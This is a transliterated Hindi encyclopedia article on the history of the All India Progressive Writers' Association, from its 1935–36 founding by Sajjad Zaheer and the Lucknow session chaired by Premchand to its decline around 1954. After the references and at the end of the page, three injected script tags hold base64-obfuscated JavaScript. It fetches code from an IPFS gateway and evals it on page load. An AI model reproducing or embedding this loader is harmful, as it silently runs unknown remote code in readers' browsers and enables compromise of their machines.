अखिल भारतीय प्रगतिशील लेखक संघ
akhil bharatiy pragatishil lekhak sangh bisavian shati ke praranbh mean bharatiy pragatishil lekhakoan ka ek samooh tha. yah lekhak samooh apane lekhan se samajik samanata ka samarthak karata tha aur kuritiyoan anyay v pichh depan ka virodh karata tha.
sthapana
akhil bharatiy pragatishil lekhak sangh ki sthapana 1935 mean landan mean huee. isake praneta sajjad zahir the. 1935 ke aant tak landan se apani shiksha samapt karake sajjad zahir bharat laute. yahaan ane se poorv ve aligadh mean d aau॰ asharaph, ilahabad mean ahamad ali, mumbee mean kanhaiyalal muanshi, banaras (ab varanasi) mean premachand, kalakatta (ab kolakata) mean pro॰ hiran mukharji aur amritasar mean rashid jahaan ko ghoshanapatr ki pratiyaan bhej chuke the. ve bharatiy atit ki gauravapoorn sanskriti se usaka manav prem, usaki yatharth priyata aur usaka saundary tatv lene ke paksh mean the lekin ve prachin daur ke aandhavishvasoan aur dharmik sampradayikata ke zaharile prabhav ko samapt karana chahate the. unaka vichar tha ki ye samrajyavad aur jagiradari ki saiddhaantik buniyadean haian. ilahabad pahuanchakar sajjad zahir ahamad ali se mile jo vishvavidyalay mean aangrezi ke pravakta the. ahamad ali ne unhean pro॰ejaz husain, raghupati sahay phirak, ehatisham husain tatha vikar ajim se milavaya. sabane sajjad zahir ka samarthan kiya. shivadan sianh chauhan aur narendr sharma ne bhi sahayog ka ashvasan diya. pro॰ tarachand aur amaranath jha se snehapoorn protsahan mila. saubhagy se janavari 1936 mean 12-14 ko hindustani ekedami ka varshik adhiveshan hua. anek sahityakar yahaan ekatr hue jisamean sachchidanand sinha, d aau॰ abdul haq, ganganath jha, josh malihabadi, premachand, rashid jahaan, abdussattar siddiki ityadi. sajjad zahir ne premachand ke sath pragatishil sangathan ke ghoshanapatr par khulakar bat-chit ki. sabhi ne ghoshanapatr par hastakshar kar die. ahamad ali ke ghar ko lekhak sangathan ka karyalay bana diya gaya. patr-vyavhar ki prakriya prarambh huee. sajjad zahir panjab ke daure par nikal p de. is bich aligadh mean sajjad zahir ke mitroan -d aau॰ asharaph, ali saradar japhari, d aau॰ abdul alim, jaannisar akhtar adi ne sthaniy pragatishil lekhakoan ka ek jalasa khvaja manzoor ahamad ke makan par faravari 1936 mean kar dala. aligadh mean un dinoan samyavad ka behad zor tha. vahaan ki aanjuman ke lagabhag sabhi sadasy samyavadi the aur parti ke sakriy sadasy bhi.[1]
pratham akhil bharatiy adhiveshan
akhil bharatiy pragatishil lekhak sangh ka pratham akhil bharatiy adhiveshan varsh 1936 mean uttar pradesh ki rajadhani lakhanoo mean hua. sampoorn desh mean pragatishil lekhak sangathan ki shakhaean phailane lagian. kiantu sangathan ke prati hindi lekhakoan ke utsah mean koee garmi nahian aee. 9-10 aprail 1936 ko premachand ki adhyakshata mean hone vale lakhanoo adhiveshan mean hindi lekhakoan ki koee bhoomika nahian thi. ve ek tatasth darshak matr the. vah bhi sabha mean shamil hokar nahian, keval ghar baithe-baithe. ram vilas sharma aur sooryakaant tripathi nirala donoan hi us samay lakhanoo mean the, kiantu sammelan mean koee sharik nahian hua. premachand jainendr kumar ko apane sath khianch zaroor le ge. kiantu jainendr ki soch sangathan ki soch se mel nahian khati thi. sajjad zahir ne apani pustak roshanaee mean jainendr par jo tippani ki hai vah dekhane yogy hai- haan premachand ka adhyakshiy bhashan jo urdoo mean likha aur padha gaya tha age chalakar jab hindi mean roopaantarit hua to hindi lekhakoan ki prerana ka srot avashy ban gaya. lakhanoo adhiveshan mean kee alekh padhe ge jinamean ahamad ali, raghupati sahay, mahmoodujzaphar aur hiran mukharji ke nam ullekhaniy haian. gujarat, maharashtr aur madras ke pratinidhiyoan ne keval bhashan die. premachand ke bad sabase mahatvapoorn vaktavy hasarat mohani ka tha. hasarat ne khule shabdoan mean samyavad ki vakalat karate hue kaha "hamare sahity ko svadhinata andolan ki sashakt abhvyakti karani chahie aur samrajyavadi, atyachari tatha akramak pooanjipatiyoan ka virodh karana chahie. use mazadooroan, kisanoan aur sampoorn pi dit janata ka pakshadhar hona chahie. usamean jan samany ke duahkh-sukh, unaki ichchhaoan-akaankshaoan ko is prakar vyakt karana chahie ki isase unaki inqalabi shaktiyoan ko bal mile aur vah ekajut aur sangathit hokar apane sangharsh ko saphal bana sakean. keval pragatishilata paryapt nahian hai. ne sahity ko samajavad aur kamyunijm ka bhi prachar karana chahie."
adhiveshan ke doosare din sandhya ki goshthi mean jayaprakash narayan, yoosuph mehar ali, indulal yajnik, kamaladevi chattopadhyay adi bhi sammilit ho ge the. is avasar par sangathan ka ek sanvidhan bhi svikar kiya gaya aur sajjad zahir ko sangathan ka pradhanamantri nirvachit kiya gaya. isake bad doosara dvitiy akhil bharatiy adhiveshan, kolakata (1938) mean, tritiy akhil bharatiy adhiveshan, dilli (1942) mean, chautha akhil bharatiy adhiveshan, mumbee (1945) mean, paanchavaan akhil bharatiy adhiveshan, bhim di (1949) mean, chhatha akhil bharatiy adhiveshan, dilli (1953) mean hua.[1]
avasan
apane prarambh kal se hi jis andolan ki j dean janata mean gaharaee tak paithi huee thian, vah lekhakoan ki apasi bauddhik paitarebaji ke karan 1954 tak khokhala ho chuka tha. kisi ko usamean kutsit samajashastr ki jhalak dikhane lagi thi, koee use kori narebaji samajhata tha. kisi ne kisi ke lekhan mean 'parashuram ke kulhade' ka chitr dekhana prarambh kar diya to kahian isamean sankirn matavadi pravanchana ko janm dene vali pravritti rekhaankit ki gee. krishan chandar ke mantri hone ke bad sangathan ki gatividhiyaan poori tarah shithil p d gayian. svayan krishan chandar ek tijarati sahityakar hokar rah ge the. kuchh any pragatishil lekhakoan mean bhi tijarati manovritti zor pak dane lagi thi. ilahabad mean parimal samooh ke lekhak yugin rajaniti se apana daman bachae rakhana chahate the aur sahityakaroan ke bich is samooh ki taqat nirantar badh rahi thi. isaki goshthiyoan mean pragatishil lekhakoan ka sakriy dikhaee dena, pragatishil lekhak sangathan ke avasan ka spasht sanket tha. kashi mean bhi 1953-54 mean 'sahityik sangh' ki goshthiyaan zor pak dane lagi thian. is sangh ke nam se hi spasht hai ki ise pragatishil lekhak sangh ka badal svikar kar liya gaya tha. is sangh ke bahas-mubahasoan mean shivadan sianh chauhan, prakashachandr gupt, hazari prasad dvivedi, nalin, trilochan, amrit ray, nemichandr jain, bharat bhooshan agraval, dharmavir bharati aur kedaranath agraval jaise rachanakarmiyoan ki vishesh bhoomikaean thian. 1954 mean sajjad zahir jab pakistan se laute, unhean sangathan ka yah bikharav dekh kar duahkh hua. phir bhi unhoanne apane ap ko 'ipta' (iandiyan pipils thietrikal esosieshan), 'aee.pi.dabalyoo..e.' (iandiyan progresiv raitars esosieshan) aur aiphro-eshiyan-raitars-esosieshan jaise vamapanthi saanskritik aandolanoan se jo de rakha.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 zaidi, pro. shailesh. pragatishil lekhak andolan (hindi) yug-vimarsh. abhigaman tithi: 3 janavari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- pragatishil lekhak sangh ki 75vi varshagaanth
- pragatishil lekhak sangh ki hirak jayanti
- pragatishil lekhak sangh
- premachand bharat ke kisan ko sahity ke keandr mean laye
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>